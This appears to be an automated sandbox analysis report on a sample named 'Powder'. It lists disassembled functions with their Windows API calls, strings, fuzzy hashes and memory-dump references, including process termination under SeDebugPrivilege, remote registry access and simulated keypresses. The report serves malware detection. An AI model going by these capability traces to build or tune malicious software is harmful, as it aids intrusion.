API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 3c3069ae7ab17858c1be3e0d368dcf8f83a32c39e4dbc7cbd39a3f86b0cb96fc
Instruction ID: 237c0173eda7bf4a402b55af4c45876131190910034684a3944fd048100a0da8
Opcode Fuzzy Hash: 3c3069ae7ab17858c1be3e0d368dcf8f83a32c39e4dbc7cbd39a3f86b0cb96fc
Instruction Fuzzy Hash: B551BE71108304AFD704EF24CC5AFAA7BE5EB84314F10552EFA99A72E1CB71A949CF61

Function 00E79330 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00E90980), ref: 00E79412
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00E90980), ref: 00E79446
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00E795C0
SysFreeString.OLEAUT32(?), ref: 00E795EA

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 8eef880d48f86e78be2d1f5e114eb38fb73e83cea6b02fdfa2e85f918a34eb74
Instruction ID: d2b8557064204838fb7dc307257ec3579519d0a6c1ad3674479e90e79868c78f
Opcode Fuzzy Hash: 8eef880d48f86e78be2d1f5e114eb38fb73e83cea6b02fdfa2e85f918a34eb74
Instruction Fuzzy Hash: EFF13A71A00219EFCB14DFA4C884EAEB7B9FF45315F109059F91ABB251DB31AE45CB60

Function 00E6527C Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E64BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00E63B8A,?), ref: 00E64BE0

Part of subcall function 00E64BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00E63B8A,?), ref: 00E64BF9

Part of subcall function 00E64FEC: GetFileAttributesW.KERNEL32(?,00E63BFE), ref: 00E64FED

lstrcmpiW.KERNEL32(?,?), ref: 00E652FB
_wcscmp.LIBCMT ref: 00E65315
MoveFileW.KERNEL32(?,?), ref: 00E65330

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 94ba6b60a536d2054f59e751f979bbea4c8dbc5c6f8d4cfb739fe5f778054606
Instruction ID: c97680c186f9eb8bcea3577c55a9f439772156a264d174970890f447b86e941a
Opcode Fuzzy Hash: 94ba6b60a536d2054f59e751f979bbea4c8dbc5c6f8d4cfb739fe5f778054606
Instruction Fuzzy Hash: CC5187B21487455BC764DB60EC819DFB7ECAF85340F50191EF285E3152EF34A688C756

Function 00E88C6A Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00E88D24

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: c9ca2f7be3595b03a67df03f4adbb97b088d22fe56a38ec245b03163d78a8513
Instruction ID: d0eae80a069e2846a8af348c45950043bad63144cf3ef96ed7f6b6929937271c
Opcode Fuzzy Hash: c9ca2f7be3595b03a67df03f4adbb97b088d22fe56a38ec245b03163d78a8513
Instruction Fuzzy Hash: F151B130640204BFEB24BF24CE89B997BA4AB04314FA46516FE5DF71E1CF71A990CB51

Function 00E02F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00E3C638
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00E3C65A
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00E3C672
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00E3C690
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00E3C6B1
DestroyIcon.USER32(00000000), ref: 00E3C6C0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00E3C6DD
DestroyIcon.USER32(?), ref: 00E3C6EC

Part of subcall function 00E8AAD4: DeleteObject.GDI32(00000000), ref: 00E8AB0D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: d4241ec628f7950c7a956200d682f8612c871acfd58484cc83b89135ffea3a2e
Instruction ID: a5462852a2ca174dccb0e66995ffcad03006bac0c474c87b76baa7d57a6b51af
Opcode Fuzzy Hash: d4241ec628f7950c7a956200d682f8612c871acfd58484cc83b89135ffea3a2e
Instruction Fuzzy Hash: 2F51787060020AAFDB24DF25CC49BAA7BF5EB48754F20552EFA42B72D0DB71E890DB50

Function 00E5A226 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5B52D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00E5B54D
Part of subcall function 00E5B52D: GetCurrentThreadId.KERNEL32 ref: 00E5B554
Part of subcall function 00E5B52D: AttachThreadInput.USER32(00000000,?,00E5A23B,?,00000001), ref: 00E5B55B

MapVirtualKeyW.USER32(00000025,00000000), ref: 00E5A246
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00E5A263
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00E5A266
MapVirtualKeyW.USER32(00000025,00000000), ref: 00E5A26F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00E5A28D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00E5A290
MapVirtualKeyW.USER32(00000025,00000000), ref: 00E5A299
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00E5A2B0
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00E5A2B3

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: bcc9c27a826323f0e6d075307a08ae15ed2969d9871aee9090ef2313596e5234
Instruction ID: 3e507521893a6b97b34a15944347459d5831afa3db14ea569b37c05dd299ae78
Opcode Fuzzy Hash: bcc9c27a826323f0e6d075307a08ae15ed2969d9871aee9090ef2313596e5234
Instruction Fuzzy Hash: E51121B1900208BEF6106F628C8AF6A7B2DEB4C751F90141AF7107B0E0CAF35C108AA0

Function 00E594D9 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00E5915A,00000B00,?,?), ref: 00E594E2
HeapAlloc.KERNEL32(00000000,?,00E5915A,00000B00,?,?), ref: 00E594E9
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00E5915A,00000B00,?,?), ref: 00E594FE
GetCurrentProcess.KERNEL32(?,00000000,?,00E5915A,00000B00,?,?), ref: 00E59506
DuplicateHandle.KERNEL32(00000000,?,00E5915A,00000B00,?,?), ref: 00E59509
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00E5915A,00000B00,?,?), ref: 00E59519
GetCurrentProcess.KERNEL32(00E5915A,00000000,?,00E5915A,00000B00,?,?), ref: 00E59521
DuplicateHandle.KERNEL32(00000000,?,00E5915A,00000B00,?,?), ref: 00E59524
CreateThread.KERNEL32(00000000,00000000,00E5954A,00000000,00000000,00000000), ref: 00E5953E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 69f290456ac9eec656da69c65dbacd2c123753b2f590e1e0f84c6ea9fe788da7
Instruction ID: 69d2f844b0b138dfa9346d979304e64eb05529ca81eb1b8a15674906472c83ae
Opcode Fuzzy Hash: 69f290456ac9eec656da69c65dbacd2c123753b2f590e1e0f84c6ea9fe788da7
Instruction Fuzzy Hash: A201CDB5241304BFE710AFA6DC4DF6B7BACEB89711F404412FA05EB1A1DA709804CB34

Function 00E7A20D Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00E7A28E, 00E7A5B2
Not an Object type, xrefs: 00E7A265

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: fdf7ae17d0ec1df357b8858ace655ace271329b17a86af741baf079eb00088ed
Instruction ID: d254a33f555eaffdebf497546b3d05416b5b6aa2ae7ba34d99f5c6033708a596
Opcode Fuzzy Hash: fdf7ae17d0ec1df357b8858ace655ace271329b17a86af741baf079eb00088ed
Instruction Fuzzy Hash: 38C1A271A0021AAFDF14CFA8D884AAEB7F5FB88314F18D479E919B7281E7709D44CB51

Function 00E797FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E79851
VariantInit.OLEAUT32(?), ref: 00E79922
VariantInit.OLEAUT32(?), ref: 00E79A23
VariantClear.OLEAUT32(?), ref: 00E79A2D
VariantClear.OLEAUT32(?), ref: 00E79A8A

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00E79A06
Null Object assignment in FOR..IN loop, xrefs: 00E798B2, 00E799E0, 00E79A98

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 8e0f16cef7b852e1b0acb14b934fe10e56d8316f4f1a60893a6d390220a800a7
Instruction ID: 46a1b1a9aad3061804305684e6850a755dad14303d65484448a10346e3a9fcf3
Opcode Fuzzy Hash: 8e0f16cef7b852e1b0acb14b934fe10e56d8316f4f1a60893a6d390220a800a7
Instruction Fuzzy Hash: 7B919D70A00219AFDF24CFA5C844FEEBBB8EF85714F10955EE519BB282D7709944CBA0

Function 00E873A5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00E87449
SendMessageW.USER32(?,00001036,00000000,?), ref: 00E8745D
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00E87477
_wcscat.LIBCMT ref: 00E874D2
SendMessageW.USER32(?,00001057,00000000,?), ref: 00E874E9
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00E87517

Strings

SysListView32, xrefs: 00E8741B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 28f453b7507268f1649dcb4edcb21af381035e88203cc0e842f2e92750b5ecf5
Instruction ID: 044bd18c74e3dbaed2576ce9b8ce9a95d5760bd31017ea53b706090f76181ca1
Opcode Fuzzy Hash: 28f453b7507268f1649dcb4edcb21af381035e88203cc0e842f2e92750b5ecf5
Instruction Fuzzy Hash: 6141A171504308AFDB21AF64CC85BEA77E8EF08354F10542AF998B6191D671DD84CB50

Function 00E7F01C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00E64148: CreateToolhelp32Snapshot.KERNEL32 ref: 00E6416D
Part of subcall function 00E64148: Process32FirstW.KERNEL32(00000000,?), ref: 00E6417B
Part of subcall function 00E64148: CloseHandle.KERNEL32(00000000), ref: 00E64245

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00E7F08D
GetLastError.KERNEL32 ref: 00E7F0A0
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00E7F0CF
TerminateProcess.KERNEL32(00000000,00000000), ref: 00E7F14C
GetLastError.KERNEL32(00000000), ref: 00E7F157
CloseHandle.KERNEL32(00000000), ref: 00E7F18C

Strings

SeDebugPrivilege, xrefs: 00E7F0AB

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 2d2be03382c18e528f0f22d4e98e426f4674707ef2849b824b75d9eb9acc60f7
Instruction ID: dff08f388a0f0256586cd2408962bf22fbb6c8ba013fcd4422ef0d91984281de
Opcode Fuzzy Hash: 2d2be03382c18e528f0f22d4e98e426f4674707ef2849b824b75d9eb9acc60f7
Instruction Fuzzy Hash: BD41DE71201201DFDB11EF24DC95FADB7E5AF80714F449419F94AAB2D3CB70A848CB95

Function 00E647E8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00E64802
LoadStringW.USER32(00000000), ref: 00E64809
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00E6481F
LoadStringW.USER32(00000000), ref: 00E64826
_wprintf.LIBCMT ref: 00E6484C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00E6486A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00E64847

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 748225866430acbcbadc24d98dd65d31203dffc64a92c5c6d05f32f224251e54
Instruction ID: 63a1fb22923bdefb991f0fa600fddc1db60c7510d25722958ea2983640fd2ee6
Opcode Fuzzy Hash: 748225866430acbcbadc24d98dd65d31203dffc64a92c5c6d05f32f224251e54
Instruction Fuzzy Hash: 790144F29403087FE75197A19D89EF6776CEB48300F400597B749F2041E7749E884B75

Function 00E8DB04 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E029E2: GetWindowLongW.USER32(?,000000EB), ref: 00E029F3

GetSystemMetrics.USER32(0000000F), ref: 00E8DB42
GetSystemMetrics.USER32(0000000F), ref: 00E8DB62
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00E8DD9D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00E8DDBB
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00E8DDDC
ShowWindow.USER32(00000003,00000000), ref: 00E8DDFB
InvalidateRect.USER32(?,00000000,00000001), ref: 00E8DE20
DefDlgProcW.USER32(?,00000005,?,?), ref: 00E8DE43

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 3e94e242cf0b6c9706bbd36ff17d12f31f32bcc0da1f774d0da7cc205d426fc5
Instruction ID: 8474d9b8454869baf400a74d43d0511a0db073f4154270ee8dc54586cdfa5495
Opcode Fuzzy Hash: 3e94e242cf0b6c9706bbd36ff17d12f31f32bcc0da1f774d0da7cc205d426fc5
Instruction Fuzzy Hash: 2EB19931A04229EFCF14DF69C985BAD7BB1FF04705F08916AEC4CAE295D731A950CB90

Function 00E80371 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

Part of subcall function 00E8147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E8040D,?,?), ref: 00E81491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E8044E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: ad8ff2e754f54eca80e7feb9df2080f386be058f0d74731e4c2e9f52c3750c2a
Instruction ID: d0d832e661cd429b592a76e10a8af03f8feadd59e2bb86cb3c30e0607aad5084
Opcode Fuzzy Hash: ad8ff2e754f54eca80e7feb9df2080f386be058f0d74731e4c2e9f52c3750c2a
Instruction Fuzzy Hash: F3A18B70204201DFCB10EF64C881F6EB7E5AF84314F14991DF99AA72A2DB31E959DF42

Function 00E02E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00E3C508,00000004,00000000,00000000,00000000), ref: 00E02E9F
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00E3C508,00000004,00000000,00000000,00000000,000000FF), ref: 00E02EE7
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00E3C508,00000004,00000000,00000000,00000000), ref: 00E3C55B
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00E3C508,00000004,00000000,00000000,00000000), ref: 00E3C5C7

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: faba2907421a1193d23f837e0a93500343dbd7bf4b18b7facea2704ed96996e3
Instruction ID: 818252a49f5f26c6c76c2a4d48232b39e539e34e8cf5f4983d20d05c7a5bcf20
Opcode Fuzzy Hash: faba2907421a1193d23f837e0a93500343dbd7bf4b18b7facea2704ed96996e3
Instruction Fuzzy Hash: 4F41E731644680AEC7379729C88CAAB7BD2AB81318F64740FE647729E1C772E8C6D710

Function 00E67681 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00E67698

Part of subcall function 00E20FE6: std::exception::exception.LIBCMT ref: 00E2101C
Part of subcall function 00E20FE6: __CxxThrowException@8.LIBCMT ref: 00E21031

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00E676CF
EnterCriticalSection.KERNEL32(?), ref: 00E676EB
_memmove.LIBCMT ref: 00E67739
_memmove.LIBCMT ref: 00E67756
LeaveCriticalSection.KERNEL32(?), ref: 00E67765
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00E6777A
InterlockedExchange.KERNEL32(?,000001F6), ref: 00E67799

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 52cfbeb9a1b9c45274a8d581725baa7d8fe3afc76d2e130a4aae9b463ccce0f7
Instruction ID: f584afd3bbb6847bf4ac7c33b0569782b2678459964e5d900036eb28cb5187a4
Opcode Fuzzy Hash: 52cfbeb9a1b9c45274a8d581725baa7d8fe3afc76d2e130a4aae9b463ccce0f7
Instruction Fuzzy Hash: 9B318131904215EFDB10EF65EC85E6FB7B8EF45354B2440A6F904BB256D7309E54CBA0

Function 00E867F8 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00E86810
